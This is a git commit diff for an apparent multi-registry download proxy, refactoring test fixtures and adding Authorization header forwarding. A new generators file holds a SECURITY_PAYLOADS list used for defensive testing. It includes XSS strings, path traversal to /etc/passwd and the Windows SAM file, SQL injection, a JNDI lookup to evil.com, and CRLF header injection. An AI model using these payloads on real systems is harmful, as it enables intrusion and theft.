Refactor test helpers and add auth header forwarding tests
Modularizes test helpers into separate files for assertions, generators, and mocks, and updates imports for platform tests. Adds new tests to verify Authorization header forwarding for authenticated requests. Cleans up and simplifies test setup, and updates fixtures for clarity and maintainability.
This commit is contained in:
1 parent
076b64ff9e
commit
f60661db6f
24 files changed
+528
-968
No files matched your search
@@ -1000,6 +1000,11 @@ async function handleRequest(request, env, ctx) {
|
|||||||
requestHeaders.set('User-Agent', 'Wget/1.21.3');
|
requestHeaders.set('User-Agent', 'Wget/1.21.3');
|
||||||
requestHeaders.set('Origin', request.headers.get('Origin') || '*');
|
requestHeaders.set('Origin', request.headers.get('Origin') || '*');
|
||||||
|
|
||||||
|
// Forward Authorization header if present (needed for authenticated resources)
|
||||||
|
if (authorization) {
|
||||||
|
requestHeaders.set('Authorization', authorization);
|
||||||
|
}
|
||||||
|
|
||||||
// Handle range requests - but don't forward Range header if we need to cache full content
|
// Handle range requests - but don't forward Range header if we need to cache full content
|
||||||
const rangeHeader = request.headers.get('Range');
|
const rangeHeader = request.headers.get('Range');
|
||||||
|
|
||||||
|
|||||||
@@ -139,7 +139,7 @@ describe('Performance Benchmarks', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
bench('Long path processing', async () => {
|
bench('Long path processing', async () => {
|
||||||
const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt';
|
const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
|
||||||
await SELF.fetch(`https://example.com${longPath}`, {
|
await SELF.fetch(`https://example.com${longPath}`, {
|
||||||
method: 'HEAD'
|
method: 'HEAD'
|
||||||
});
|
});
|
||||||
|
|||||||
File renamed without changes.
File renamed without changes.
@@ -99,7 +99,7 @@ describe('Security Features', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('should reject extremely long paths', async () => {
|
it('should reject extremely long paths', async () => {
|
||||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||||
|
|
||||||
expect(response.status).toBe(414);
|
expect(response.status).toBe(414);
|
||||||
Vendored
+14
-333
@@ -1,392 +1,73 @@
|
|||||||
/**
|
/**
|
||||||
* Mock response fixtures for testing
|
* Mock HTTP response fixtures for testing
|
||||||
|
* Organized by platform with realistic response data
|
||||||
*/
|
*/
|
||||||
|
|
||||||
export const MOCK_RESPONSES = {
|
export const MOCK_RESPONSES = {
|
||||||
github: {
|
github: {
|
||||||
packageJson: {
|
packageJson: {
|
||||||
status: 200,
|
status: 200,
|
||||||
headers: {
|
headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
|
||||||
'Content-Type': 'application/json',
|
|
||||||
'Cache-Control': 'max-age=300'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
body: JSON.stringify({
|
||||||
name: 'vscode',
|
name: 'vscode',
|
||||||
version: '1.85.0',
|
version: '1.85.0',
|
||||||
description: 'Visual Studio Code',
|
description: 'Visual Studio Code'
|
||||||
main: './out/main.js',
|
|
||||||
scripts: {
|
|
||||||
test: 'npm test'
|
|
||||||
}
|
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
|
|
||||||
readme: {
|
readme: {
|
||||||
status: 200,
|
status: 200,
|
||||||
headers: {
|
headers: { 'Content-Type': 'text/plain; charset=utf-8' },
|
||||||
'Content-Type': 'text/plain; charset=utf-8'
|
|
||||||
},
|
|
||||||
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
||||||
},
|
},
|
||||||
|
|
||||||
release: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/octet-stream',
|
|
||||||
'Content-Length': '123456789',
|
|
||||||
'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"'
|
|
||||||
},
|
|
||||||
body: 'binary-data-placeholder'
|
|
||||||
},
|
|
||||||
|
|
||||||
notFound: {
|
|
||||||
status: 404,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Not Found'
|
|
||||||
},
|
|
||||||
|
|
||||||
gitInfoRefs: {
|
gitInfoRefs: {
|
||||||
status: 200,
|
status: 200,
|
||||||
headers: {
|
headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
|
||||||
'Content-Type': 'application/x-git-upload-pack-advertisement',
|
|
||||||
'Cache-Control': 'no-cache'
|
|
||||||
},
|
|
||||||
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
|
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
gitlab: {
|
|
||||||
packageJson: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/json'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
|
||||||
name: 'gitlab',
|
|
||||||
version: '16.0.0',
|
|
||||||
description: 'GitLab Community Edition'
|
|
||||||
})
|
|
||||||
},
|
|
||||||
|
|
||||||
archive: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/zip',
|
|
||||||
'Content-Disposition': 'attachment; filename="gitlab-master.zip"'
|
|
||||||
},
|
|
||||||
body: 'zip-data-placeholder'
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
huggingface: {
|
|
||||||
modelConfig: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/json'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
|
||||||
architectures: ['GPT2LMHeadModel'],
|
|
||||||
model_type: 'gpt2',
|
|
||||||
vocab_size: 50257,
|
|
||||||
n_positions: 1024,
|
|
||||||
n_ctx: 1024,
|
|
||||||
n_embd: 1024,
|
|
||||||
n_layer: 24,
|
|
||||||
n_head: 16
|
|
||||||
})
|
|
||||||
},
|
|
||||||
|
|
||||||
modelFile: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/octet-stream',
|
|
||||||
'Content-Length': '987654321'
|
|
||||||
},
|
|
||||||
body: 'model-binary-data-placeholder'
|
|
||||||
},
|
|
||||||
|
|
||||||
datasetFile: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/json'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
|
||||||
data: [
|
|
||||||
{ question: 'What is AI?', answer: 'Artificial Intelligence...' },
|
|
||||||
{ question: 'What is ML?', answer: 'Machine Learning...' }
|
|
||||||
]
|
|
||||||
})
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
npm: {
|
npm: {
|
||||||
packageMetadata: {
|
packageMetadata: {
|
||||||
status: 200,
|
status: 200,
|
||||||
headers: {
|
headers: { 'Content-Type': 'application/json' },
|
||||||
'Content-Type': 'application/json'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
body: JSON.stringify({
|
||||||
name: 'react',
|
name: 'react',
|
||||||
version: '18.2.0',
|
version: '18.2.0',
|
||||||
description: 'React is a JavaScript library for building user interfaces.',
|
description: 'React is a JavaScript library for building user interfaces.'
|
||||||
main: 'index.js',
|
|
||||||
repository: {
|
|
||||||
type: 'git',
|
|
||||||
url: 'https://github.com/facebook/react.git'
|
|
||||||
},
|
|
||||||
keywords: ['react', 'javascript', 'ui'],
|
|
||||||
license: 'MIT'
|
|
||||||
})
|
})
|
||||||
},
|
|
||||||
|
|
||||||
packageTarball: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/octet-stream',
|
|
||||||
'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"'
|
|
||||||
},
|
|
||||||
body: 'tarball-data-placeholder'
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
pypi: {
|
pypi: {
|
||||||
simpleIndex: {
|
simpleIndex: {
|
||||||
status: 200,
|
status: 200,
|
||||||
headers: {
|
headers: { 'Content-Type': 'text/html' },
|
||||||
'Content-Type': 'text/html'
|
body: '<!DOCTYPE html><html><head><title>Links for requests</title></head></html>'
|
||||||
},
|
|
||||||
body: `<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head><title>Links for requests</title></head>
|
|
||||||
<body>
|
|
||||||
<h1>Links for requests</h1>
|
|
||||||
<a href="../../packages/source/r/requests/requests-2.31.0.tar.gz">requests-2.31.0.tar.gz</a><br/>
|
|
||||||
<a href="../../packages/py3/r/requests/requests-2.31.0-py3-none-any.whl">requests-2.31.0-py3-none-any.whl</a><br/>
|
|
||||||
</body>
|
|
||||||
</html>`
|
|
||||||
},
|
|
||||||
|
|
||||||
packageFile: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/gzip',
|
|
||||||
'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"'
|
|
||||||
},
|
|
||||||
body: 'gzip-data-placeholder'
|
|
||||||
},
|
|
||||||
|
|
||||||
wheelFile: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/zip',
|
|
||||||
'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"'
|
|
||||||
},
|
|
||||||
body: 'wheel-data-placeholder'
|
|
||||||
}
|
|
||||||
},
|
|
||||||
|
|
||||||
conda: {
|
|
||||||
repodata: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/json'
|
|
||||||
},
|
|
||||||
body: JSON.stringify({
|
|
||||||
info: {
|
|
||||||
subdir: 'linux-64'
|
|
||||||
},
|
|
||||||
packages: {
|
|
||||||
'numpy-1.24.3-py311h08b1b3b_1.conda': {
|
|
||||||
build: 'py311h08b1b3b_1',
|
|
||||||
build_number: 1,
|
|
||||||
depends: ['python >=3.11,<3.12.0a0'],
|
|
||||||
license: 'BSD-3-Clause',
|
|
||||||
name: 'numpy',
|
|
||||||
platform: 'linux',
|
|
||||||
subdir: 'linux-64',
|
|
||||||
timestamp: 1679932871000,
|
|
||||||
version: '1.24.3'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
},
|
|
||||||
|
|
||||||
packageFile: {
|
|
||||||
status: 200,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'application/x-conda-package',
|
|
||||||
'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"'
|
|
||||||
},
|
|
||||||
body: 'conda-package-data-placeholder'
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
errors: {
|
errors: {
|
||||||
badRequest: {
|
notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
|
||||||
status: 400,
|
badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Bad Request'
|
|
||||||
},
|
|
||||||
|
|
||||||
unauthorized: {
|
unauthorized: {
|
||||||
status: 401,
|
status: 401,
|
||||||
headers: {
|
headers: { 'Content-Type': 'text/plain' },
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Unauthorized'
|
body: 'Unauthorized'
|
||||||
},
|
},
|
||||||
|
|
||||||
forbidden: {
|
|
||||||
status: 403,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Forbidden'
|
|
||||||
},
|
|
||||||
|
|
||||||
notFound: {
|
|
||||||
status: 404,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Not Found'
|
|
||||||
},
|
|
||||||
|
|
||||||
methodNotAllowed: {
|
|
||||||
status: 405,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain',
|
|
||||||
Allow: 'GET, HEAD'
|
|
||||||
},
|
|
||||||
body: 'Method Not Allowed'
|
|
||||||
},
|
|
||||||
|
|
||||||
pathTooLong: {
|
|
||||||
status: 414,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'URI Too Long'
|
|
||||||
},
|
|
||||||
|
|
||||||
internalServerError: {
|
internalServerError: {
|
||||||
status: 500,
|
status: 500,
|
||||||
headers: {
|
headers: { 'Content-Type': 'text/plain' },
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Internal Server Error'
|
body: 'Internal Server Error'
|
||||||
},
|
|
||||||
|
|
||||||
badGateway: {
|
|
||||||
status: 502,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Bad Gateway'
|
|
||||||
},
|
|
||||||
|
|
||||||
serviceUnavailable: {
|
|
||||||
status: 503,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Service Unavailable'
|
|
||||||
},
|
|
||||||
|
|
||||||
gatewayTimeout: {
|
|
||||||
status: 504,
|
|
||||||
headers: {
|
|
||||||
'Content-Type': 'text/plain'
|
|
||||||
},
|
|
||||||
body: 'Gateway Timeout'
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a Response object from mock data
|
* Create a Response object from mock data
|
||||||
* @param {Object} mockData - Mock response data
|
|
||||||
* @returns {Response} Response object
|
|
||||||
*/
|
*/
|
||||||
export function createMockResponse(mockData) {
|
export function createMockResponse(mockData) {
|
||||||
return new Response(mockData.body, {
|
return new Response(mockData.body, {
|
||||||
status: mockData.status,
|
status: mockData.status,
|
||||||
statusText: getStatusText(mockData.status),
|
|
||||||
headers: mockData.headers
|
headers: mockData.headers
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Get status text for HTTP status code
|
|
||||||
* @param {number} status - HTTP status code
|
|
||||||
* @returns {string} Status text
|
|
||||||
*/
|
|
||||||
function getStatusText(status) {
|
|
||||||
const statusTexts = {
|
|
||||||
200: 'OK',
|
|
||||||
201: 'Created',
|
|
||||||
204: 'No Content',
|
|
||||||
301: 'Moved Permanently',
|
|
||||||
302: 'Found',
|
|
||||||
304: 'Not Modified',
|
|
||||||
400: 'Bad Request',
|
|
||||||
401: 'Unauthorized',
|
|
||||||
403: 'Forbidden',
|
|
||||||
404: 'Not Found',
|
|
||||||
405: 'Method Not Allowed',
|
|
||||||
414: 'URI Too Long',
|
|
||||||
429: 'Too Many Requests',
|
|
||||||
500: 'Internal Server Error',
|
|
||||||
502: 'Bad Gateway',
|
|
||||||
503: 'Service Unavailable',
|
|
||||||
504: 'Gateway Timeout'
|
|
||||||
};
|
|
||||||
|
|
||||||
return statusTexts[status] || 'Unknown';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Mock fetch function that returns predefined responses
|
|
||||||
* @param {string} url - Request URL
|
|
||||||
* @param {Object} options - Fetch options
|
|
||||||
* @returns {Promise<Response>} Mock response
|
|
||||||
*/
|
|
||||||
export function mockFetchWithFixtures(url, options = {}) {
|
|
||||||
return new Promise(resolve => {
|
|
||||||
// Simulate network delay
|
|
||||||
setTimeout(
|
|
||||||
() => {
|
|
||||||
const urlObj = new URL(url);
|
|
||||||
const path = urlObj.pathname;
|
|
||||||
|
|
||||||
// Route to appropriate mock response based on URL pattern
|
|
||||||
if (path.includes('/gh/') && path.includes('package.json')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
|
|
||||||
} else if (path.includes('/gh/') && path.includes('README.md')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
|
|
||||||
} else if (path.includes('/gl/') && path.includes('package.json')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
|
|
||||||
} else if (path.includes('/hf/') && path.includes('config.json')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
|
|
||||||
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
|
|
||||||
} else if (path.includes('/pypi/simple/')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
|
|
||||||
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
|
|
||||||
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
|
|
||||||
} else if (path.length > 2048) {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
|
|
||||||
} else {
|
|
||||||
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
|
|
||||||
}
|
|
||||||
},
|
|
||||||
Math.random() * 50 + 10
|
|
||||||
); // 10-60ms delay
|
|
||||||
});
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
/**
|
||||||
|
* Custom assertions and validation helpers
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validate response headers for security
|
||||||
|
* @param {Response} response - Response to validate
|
||||||
|
* @returns {Object} Validation results
|
||||||
|
*/
|
||||||
|
export function validateSecurityHeaders(response) {
|
||||||
|
const requiredHeaders = [
|
||||||
|
'Strict-Transport-Security',
|
||||||
|
'X-Frame-Options',
|
||||||
|
'X-XSS-Protection',
|
||||||
|
'Content-Security-Policy',
|
||||||
|
'Referrer-Policy'
|
||||||
|
];
|
||||||
|
|
||||||
|
const results = {
|
||||||
|
passed: true,
|
||||||
|
missing: [],
|
||||||
|
present: []
|
||||||
|
};
|
||||||
|
|
||||||
|
requiredHeaders.forEach(header => {
|
||||||
|
if (response.headers.has(header)) {
|
||||||
|
results.present.push(header);
|
||||||
|
} else {
|
||||||
|
results.missing.push(header);
|
||||||
|
results.passed = false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Assert that a URL is valid
|
||||||
|
* @param {string} url - URL to validate
|
||||||
|
* @returns {boolean} True if valid
|
||||||
|
*/
|
||||||
|
export function isValidUrl(url) {
|
||||||
|
try {
|
||||||
|
new URL(url);
|
||||||
|
return true;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Assert that response has security headers
|
||||||
|
* @param {Response} response - Response to check
|
||||||
|
* @returns {boolean} True if has all security headers
|
||||||
|
*/
|
||||||
|
export function hasSecurityHeaders(response) {
|
||||||
|
const validation = validateSecurityHeaders(response);
|
||||||
|
return validation.passed;
|
||||||
|
}
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
/**
|
||||||
|
* Test data generators
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate test URLs for different platforms
|
||||||
|
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
||||||
|
* @param {string} path - Resource path
|
||||||
|
* @returns {string} Complete test URL
|
||||||
|
*/
|
||||||
|
export function generateTestUrl(platform, path) {
|
||||||
|
const baseUrl = 'https://example.com';
|
||||||
|
return `${baseUrl}/${platform}/${path}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Common test URLs for different platforms
|
||||||
|
*/
|
||||||
|
export const TEST_URLS = {
|
||||||
|
github: {
|
||||||
|
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
||||||
|
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
||||||
|
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||||
|
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||||
|
git: 'https://example.com/gh/microsoft/vscode.git'
|
||||||
|
},
|
||||||
|
gitlab: {
|
||||||
|
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
||||||
|
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
||||||
|
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
||||||
|
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
||||||
|
},
|
||||||
|
huggingface: {
|
||||||
|
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
||||||
|
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
||||||
|
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
||||||
|
},
|
||||||
|
npm: {
|
||||||
|
package: 'https://example.com/npm/react',
|
||||||
|
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||||
|
scoped: 'https://example.com/npm/@types/node',
|
||||||
|
npmPackage: 'https://example.com/npm/npm',
|
||||||
|
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
||||||
|
},
|
||||||
|
pypi: {
|
||||||
|
simple: 'https://example.com/pypi/simple/requests/',
|
||||||
|
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||||
|
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||||
|
},
|
||||||
|
conda: {
|
||||||
|
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
||||||
|
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
||||||
|
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Security test payloads
|
||||||
|
*/
|
||||||
|
export const SECURITY_PAYLOADS = {
|
||||||
|
xss: [
|
||||||
|
'<script>alert(1)</script>',
|
||||||
|
'javascript:alert(1)',
|
||||||
|
'"><script>alert(1)</script>',
|
||||||
|
"';alert(1);//"
|
||||||
|
],
|
||||||
|
pathTraversal: [
|
||||||
|
'../../../etc/passwd',
|
||||||
|
'..%2F..%2F..%2Fetc%2Fpasswd',
|
||||||
|
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||||
|
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||||
|
],
|
||||||
|
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
||||||
|
headerInjection: [
|
||||||
|
'value\r\nX-Injected: malicious',
|
||||||
|
'value\nX-Injected: malicious',
|
||||||
|
'value\r\n\r\n<script>alert(1)</script>'
|
||||||
|
]
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test data generators
|
||||||
|
*/
|
||||||
|
export const TestDataGenerator = {
|
||||||
|
/**
|
||||||
|
* Generate random string
|
||||||
|
* @param {number} length - String length
|
||||||
|
* @returns {string} Random string
|
||||||
|
*/
|
||||||
|
randomString(length = 10) {
|
||||||
|
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||||
|
let result = '';
|
||||||
|
for (let i = 0; i < length; i++) {
|
||||||
|
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate random GitHub repository path
|
||||||
|
* @returns {string} Repository path
|
||||||
|
*/
|
||||||
|
githubRepo() {
|
||||||
|
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
||||||
|
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
||||||
|
const user = users[Math.floor(Math.random() * users.length)];
|
||||||
|
const repo = repos[Math.floor(Math.random() * repos.length)];
|
||||||
|
return `${user}/${repo}`;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate random file path
|
||||||
|
* @returns {string} File path
|
||||||
|
*/
|
||||||
|
filePath() {
|
||||||
|
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
||||||
|
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
||||||
|
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
||||||
|
const file = files[Math.floor(Math.random() * files.length)];
|
||||||
|
return `${dir}/${file}`;
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
/**
|
||||||
|
* Test helpers - centralized exports
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Re-export all utilities
|
||||||
|
export * from './assertions.js';
|
||||||
|
export * from './generators.js';
|
||||||
|
export * from './mocks.js';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Performance test utilities
|
||||||
|
*/
|
||||||
|
export class PerformanceTestHelper {
|
||||||
|
constructor() {
|
||||||
|
this.measurements = [];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Measure execution time of an async function
|
||||||
|
* @param {Function} fn - Async function to measure
|
||||||
|
* @param {string} name - Measurement name
|
||||||
|
* @returns {Promise<any>} Function result
|
||||||
|
*/
|
||||||
|
async measure(fn, name = 'operation') {
|
||||||
|
const start = performance.now();
|
||||||
|
const result = await fn();
|
||||||
|
const end = performance.now();
|
||||||
|
|
||||||
|
this.measurements.push({
|
||||||
|
name,
|
||||||
|
duration: end - start,
|
||||||
|
timestamp: Date.now()
|
||||||
|
});
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get all measurements
|
||||||
|
* @returns {Array} Array of measurements
|
||||||
|
*/
|
||||||
|
getMeasurements() {
|
||||||
|
return [...this.measurements];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get average duration for a specific measurement name
|
||||||
|
* @param {string} name - Measurement name
|
||||||
|
* @returns {number} Average duration in milliseconds
|
||||||
|
*/
|
||||||
|
getAverageDuration(name) {
|
||||||
|
const filtered = this.measurements.filter(m => m.name === name);
|
||||||
|
if (filtered.length === 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||||
|
return total / filtered.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Clear all measurements
|
||||||
|
*/
|
||||||
|
clear() {
|
||||||
|
this.measurements = [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test timeout helper
|
||||||
|
* @param {number} ms - Timeout in milliseconds
|
||||||
|
* @returns {Promise} Promise that rejects after timeout
|
||||||
|
*/
|
||||||
|
export function timeout(ms) {
|
||||||
|
return new Promise((_, reject) => {
|
||||||
|
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Wait for a specified amount of time
|
||||||
|
* @param {number} ms - Time to wait in milliseconds
|
||||||
|
* @returns {Promise} Promise that resolves after the specified time
|
||||||
|
*/
|
||||||
|
export function wait(ms) {
|
||||||
|
return new Promise(resolve => setTimeout(resolve, ms));
|
||||||
|
}
|
||||||
@@ -0,0 +1,124 @@
|
|||||||
|
/**
|
||||||
|
* Mock creation utilities for tests
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a mock request with default options
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {Object} options - Request options
|
||||||
|
* @returns {Request} Mock request object
|
||||||
|
*/
|
||||||
|
export function createMockRequest(url, options = {}) {
|
||||||
|
const defaultOptions = {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||||
|
Accept: '*/*'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new Request(url, { ...defaultOptions, ...options });
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a mock response with default options
|
||||||
|
* @param {string} body - Response body
|
||||||
|
* @param {Object} options - Response options
|
||||||
|
* @returns {Response} Mock response object
|
||||||
|
*/
|
||||||
|
export function createMockResponse(body = 'OK', options = {}) {
|
||||||
|
const defaultOptions = {
|
||||||
|
status: 200,
|
||||||
|
statusText: 'OK',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'text/plain'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return new Response(body, { ...defaultOptions, ...options });
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a Git request for testing
|
||||||
|
* @param {string} url - Git repository URL
|
||||||
|
* @param {string} service - Git service (upload-pack or receive-pack)
|
||||||
|
* @returns {Request} Git request object
|
||||||
|
*/
|
||||||
|
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||||
|
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
||||||
|
|
||||||
|
return new Request(gitUrl, {
|
||||||
|
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1',
|
||||||
|
'Git-Protocol': 'version=2',
|
||||||
|
...(service !== 'git-upload-pack' && {
|
||||||
|
'Content-Type': `application/x-${service}-request`
|
||||||
|
})
|
||||||
|
}
|
||||||
|
});
|
||||||
|
